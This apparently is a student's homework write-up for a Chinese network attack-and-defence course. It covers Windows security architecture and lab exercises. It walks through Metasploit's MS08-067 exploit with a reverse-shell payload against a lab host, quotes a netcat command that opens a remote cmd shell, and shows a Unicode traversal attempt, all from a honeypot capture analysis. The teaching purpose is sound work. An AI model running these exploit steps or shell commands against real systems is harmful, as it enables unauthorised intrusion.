20199314 2019-2020-2 《网络攻防实践》第7周作业
20199314 2019-2020-2 《网络攻防实践》第7周作业
Windows操作系统安全攻防
1.Windows操作系统基本框架概述
1.1 Windows操作系统发展
1.2 Windows操作系统基本结构
-
操作系统内核运行于处理器特权模式(ring0)
-
用户空间代码运行在处理器非特权模式(ring3)
1.2.1 Windows操作系统内核的基本模块
-
Windows执行体
即Windows内核核心文件ntoskrnl.exe的上层接口 -
Windows内核体
即Windows内核核心文件ntoskrnlexe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能。 -
设备驱动程序
包括将用户I/O操作映射为特定硬件设备UO请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。 -
硬件抽象层
即hal.dll文件,是用于屏蔽Windows内核与平台硬件差异性的底层代码。 -
Windows窗口与图形界面接口内核实现代码
即win32k.sys文件。
1.2.2 Windows操作系统在用户态的代码模块
-
系统支持进程
Windows开机自动启动的系统内建服务进程。 -
环境子系统服务进程
为操作系统运行环境提供支持的服务进程。 -
服务进程
通过Windows的服务管理机制所启动的一系列系统及网络服务。 -
用户应用软件
在用户态执行的各类用户应用软件。 -
核心子系统DLL
即kernel32.dll /user32.dIl /gdi32.dll /advapi32.dll等动态连接库文件。
1.2.3 Windows进程和线程管理机制
Windows将进程视作可执行程序运行时刻的容器,其进程与线程结构示意图如图
所示,包括一个私有虚拟内存空间描述符,系统资源对象句柄列表,带有执行用户账号权限的安全访问令牌,记录了进程ID及其父进程ID等信息,并至少包含一个作为进程内部指令执行体的执行线程。
1.2.4 Windows内存管理机制
Windows的虚拟内存空间分为系统核心内存区与用户内存区间两部分。
-
系统核心内存用于映射内核、HAL、Win32k.sys等内核执行模块,并存储内核内存对象。
-
用户态内存中包含用户程序的代码段、数据段,并对每个线程对应有一个栈和一个堆。
1.2.5 Windows文件菅理机制
-
Windows系统以NTFS(NTFileSystem)文件分配表格式来管理文件系统。
-
Windows上的可执行文件采用PE(PortableExecutable)格式,其结构如图7-4所示,主要由Dos头、PE头、分段表,以及具体的代码段、数据段等组成。
1.2.6 Windows注册表管理机制
-
Windows系统注册表在作为系统全局配置、用户和应用软件配置信息的存储仓库,
在Windows系统配置和控制方面承担着关键角色。 -
Windows注册表可通过系统自带的regedit.exe注册表查找编辑工具或其他第三方工具进行访问与修改,并可使用RegMon等工具盟控系统的注册表读写操作。
1.2.7 Windows的网络机制
从OSI网络参考模型的物理层到应用层,各层:上对应的Windows网络组件模块包括如下:
2 Windows操作系统的安全体系结构与机制
2.1 Windows安全体系结构
-
Windows操作系统基于引用监控器模型(ReferenceMonitor)来实现基本的对象安全模型。
-
引用监控器模型如图所示,系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。
2.2 windows三个基本安全功能特性
Windows身份认证机制
Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象
有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
Windows的授权与访问控制机制
Windows的授权与访问控制机制是基于引用监控器模型。Windows对于系统中所有需保护的资源都抽象成对象,每个对象会关联一个SD安全描述符,对象安全描述符由如下主要属性组成。
-
OwnerSID:对象所有者的SID安全标识符。
-
GroupSID:对象所在基本用户组的SID安全标识符(兼容POSIX使用)。
-
DACL自主访问控制列表:指明了哪些安全主体可以何种方式来访问该对象。
-
SACL系统审计访问控制列表:指明了由哪些主体发起的哪些访问操作需要被审计。
Windows安全审计机制
Windows安全审计机制的实现方式:系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录。
3. Windows远程安全攻防技术
目前Windows远程攻击技术可以分为以下几大类:
-
远程口令猜测与破解攻击
远程渗透攻击Windows系统最简单的方法仍然是猜测或破解出系统的登录口令。 -
攻击Windows网络服务
Windows系统上的具体服务实例,都不可避免地存在着可导致远程代码执行的高危性安全漏洞,攻击者也一直在利用这些漏洞来对Windows网络服务实施远程渗透攻击,从而得到Windows系统的访问权。 -
攻击Windows客户端及用户
针对Web浏览器、第三方应用软件的客户端渗透攻击变得非常流行,此外,攻击者还会结合社会工程学技巧诱骗终端用户来帮助他们执行伪装目的的恶意代码或流氓软件。
安全漏洞公开披露信息库: CVE、NVD、SecurityFocus、OSVDB
3.1 针对特定目标的渗透测试攻击过程
针对一个特定的主机系统目标,典型的渗透攻击过程包括
-
漏洞扫描测试
-
查找针对发现漏洞的渗透代码
-
实施渗透测试
3.2 渗透工具 --- metasploit软件
MSF库作为整个软件的基础核心,为渗透测试组件的开发与测试提供平台;
模块组件是真正实施渗透攻击的代码.
Exploits模块 利用安全漏洞的模块。
Auxiliary模块 进行扫描、查点等其他辅助任务的模块。
Payloads模块 在目标系统上案入和运行的Shellcode攻击负载。
Encoders模块对攻击负载进行编码以躲避检测的,
Nops模块对攻击负载进行填充的;
Metasploit提供多种用户接口,包括Console交互终端、命令行程序运行、Web交互界而以及GUI图形化界面;
Metasploit还提供了API接口及插件支持,来支持第三方在MSF基础上开发扩展模块,比如自动化的渗透测试例程等。
3.3 Windows远程口令猜测与破解攻击
-
远程口令字猜测
-
远程口令字交换通信窃取与破解
破解防范措施:
-
尽量关闭不必要开放的易受远程口令猜测攻击网络服务
-
配置主机防火墙来限制对上述端口的服务
-
利用网络防火墙来限制到这些服务的访问
-
禁用过时而且存在本质上安全缺陷的LanMan与NTLM
-
确保用户设置符合一定的长度及复杂度要求的口令
网络服务远程渗透攻击防范措旋
-
从软件设计开发根源上尽可能减少安全漏洞的出现
-
应尽可能快地更新与应用软件安全补丁
-
对安全敏感的服务器应该测试和实施可用的攻击缓解配置
-
安全核对清单和安全增强插件来对服务进行安全配置和加固
-
采取漏洞扫描软件和启用入侵检测与防御机制
4. Windows本地安全攻防技术
4.1 Windows本地特权提升
特权提升途径:
-
DLL注入
-
破解本地程序安全漏洞
防范措施:
-
及时给系统打补丁
-
系统管理员及时跟踪软件产商安全警告
4.2 windows敏感信息窃取
本地口令字破解:
-
windows系统口令字密文提取技术
-
windows系统口令字破解技术
-
用户敏感信息窃取
防范措施:
-
使用更安全的加密算法保护明文口令字
-
通过安全配置策略避免缓存关键服务器的敏感登录口令信息
4.3 Windows消踪灭迹
-
关闭审计功能
-
清理事件日志
防范措施:
-
将Windows服务器的日志记录到不可擦写的CDROM中
-
或者通过网络传输到安全的日志服务器中
-
也可以采用定期备份的方式进行固化保全
4.4 Windows远程控制与后门
攻击者往往会在受控的系统中自主植入第三方的远程控制与后门程序,主要分为命令行远程控制工具、图形化远程控制工具这两大类。
防范措施:
防御者可以采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
5.实践1 Metasploit Windows Attacker
任务: 使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权。
攻击机:kali IP:192.168.200.3
靶机:win2k IP192.168.200.124
尝试一: 在windowsxp系统上运行渗透攻击,刚开始在命令行下输入
use exploit/windows/dcerpc/ms08_067_netapi,msfconsole等命令启动不了,那就在自带的渗透软件里面找Metasploit,都是两个都试过了,输入命令也没用后来查到是可能要配置环境变量,但是太麻烦了就选用kali系统吧。
尝试二:
-
首先用kali来ping一下靶机,查看网络是否畅通(一定要把蜜网网关打开),因为我的攻击机和靶机是两个网段。
-
打开kali,用管理员权限输入msfconsole启动msfconsole(启动时间有点长)。
-
输入search ms08_067查看漏洞ms08_067详细信息(如披露日期,漏洞等级,简要描述)
-
输入use exploit/windows/smb/ms08_067_netapi使用相关攻击脚本
-
通过set payload generic/shell_reverse_tcp或者先输入show payloads(我采用的是这种方法),找到可以利用的用的攻击负载模块。
-
然后输入set PAYLOAD 3 ,选择反向连接的攻击载荷。
-
set LHOST 192.168.200.3表示设置攻击机IP地址,使用set RHOST 192.168.200.124表示设置靶机IP地址。
-
输入exploit开始进行渗透攻击(等待时间有点长),按回车键会自动开启shell,远程连接。
-
输入ipconfig/all查看靶机IP地址和其他信息。
-
输入net user,可以查看到靶机一共有三个账户。
6.实践2 Metasploit Windows Attacker
解码一次成功的NT系统破解攻击
来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),从二进制记录文件中提取并分析攻击的全部过程。
1. 攻击者使用了什么破解工具进行攻击。
-
在云班课下载log文件(log代表按照自己配置的格式记录包),并改名方便输入。
-
在kali中输入snort -r /home/kali/snort0204.log -c /etc/snort/snort.conf -K ascii,可以看出tcp流量占了多数。
-
输入snort -A console -q -u snort -c /etc/snort/snort.conf -r /home/kali/snort0204.log,从图中可以看到WEB-IIS msadcs.dll这个连接在一块词十分显眼。上网查到:IIS全称Internet Information Service,中文名:Internet信息服务,专用于微软操作系统平台,兼容微软的各项Web技术。而.dll动态库文件,一直是windows漏洞的重灾区。
-
接下来利用wireshark打开文件,点击Statistics->http->request,其中msadcs显得有点眼熟,应该和之前的攻击有所联系。
-在网上查到一般利用msadcs.dll漏洞工具为msadc.pl。
- 输入ip.addr == 213.116.251.162 && ip.addr ==172.16.1.106找到对应的http访问。boot.ini为系统启动文件,同时出现%C0%AF字符,%C0%AF为Unicode编码漏洞攻击:
2. 攻击者如何使用这个破解工具进入并控制了系统。
-
在wireshark中输入ftp发现,直到1106编号才输入了正确的密码(用户名johna2k,密码haxedj00下载 nc.exe、pdump.exe和samdump.dll。)并且对ftp流进行追踪。
-
追踪到 1224 号数据包,有这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe。表示攻击者连接了6969端口,并且获得了访问权限:
3. 攻击者获得系统访问权限后做了什么。
- 输入tcp.port == 6969筛选一下,再追踪一下TCP流。
- 可以发现攻击者输入了一些错误指令(第一次expolits还拼错了),还有一些常规操作如dir,cd,查询用户组net users等等。。
4. 我们如何防止这样的攻击。
应该及时打上补丁,更新系统,(windows系统还是相对脆弱的),禁用某些不安全的服务端口,采用360等安全软件对主机漏洞,木马进行扫描修复。
5. 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么。 - 追踪tcp流的过程中攻击者输入C:>echo best honeypot i've seen till now 😃 > rfp.txt,可以看出攻击者已经察觉到了这是一台蜜罐主机。
7.实践3 团队对抗实践:Windows系统远程渗透攻击与分析
-
攻击方: 使用metaploit选择metaploitable漏洞进行攻击,获得控制权。
-
防御方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。
- 攻击过程按照实践1的步骤,攻击的漏洞依然采用ms08_067漏洞。依次输入以下步骤。输入exploit,别按回车。
2.打开kali自带的wireshark,监控流量。
3.从图中蓝色圈可以发现源地址为192.168.200.3,目的地址为192.168.200.124,结合图中黑色圈的arp协议,可以发现是192.168.200.124将192.168.200.3的ip和mac地址对应起来,因此192.168.200.3是攻击方。图中红色圈也标定了端口号,从攻击机45635端口到靶机445端口。攻击时间就是从第一次arp询问后开始的。
4.攻击的漏洞:主要为SMB协议漏洞(Microsoft网络的通讯协议),可以看出攻击者利用的SMB的漏洞。首先客户端发送一个SMB Negotiate Protocol Request请求数据报,并列出它所支持的所有SMB协议版本。然后客户端回应,支持的SMB协议版本。
5.其实这就是大名鼎鼎的SMB — 永恒之蓝漏洞啦。
6.从图中shellcode攻击加载器powershell。
7.查看执行的命令,在kali中输入ipconfig/all,在wireshark中可以查看到最新的tcp流量,可以找到在kali中输入的ipconfig/all操作。
8. 学习中遇到的问题及解决
问题一:kali无法找到靶机。
问题一解决方法打开蜜网网关或者改变靶机ip让其与kali在同一网段。
问题二:刚开始用winxp攻击机做实验,不管是命令行还是直接打开Metasploit都无法操作。
问题二解决方法:貌似要添加环境变量。
9. 实践总结
本次实验学习的内容还是挺多的,尤其是第二个实验,完全就是打开了新的领域,网上也很少找到资料,还是看了很多同学和网上的博客,还是有所收获的。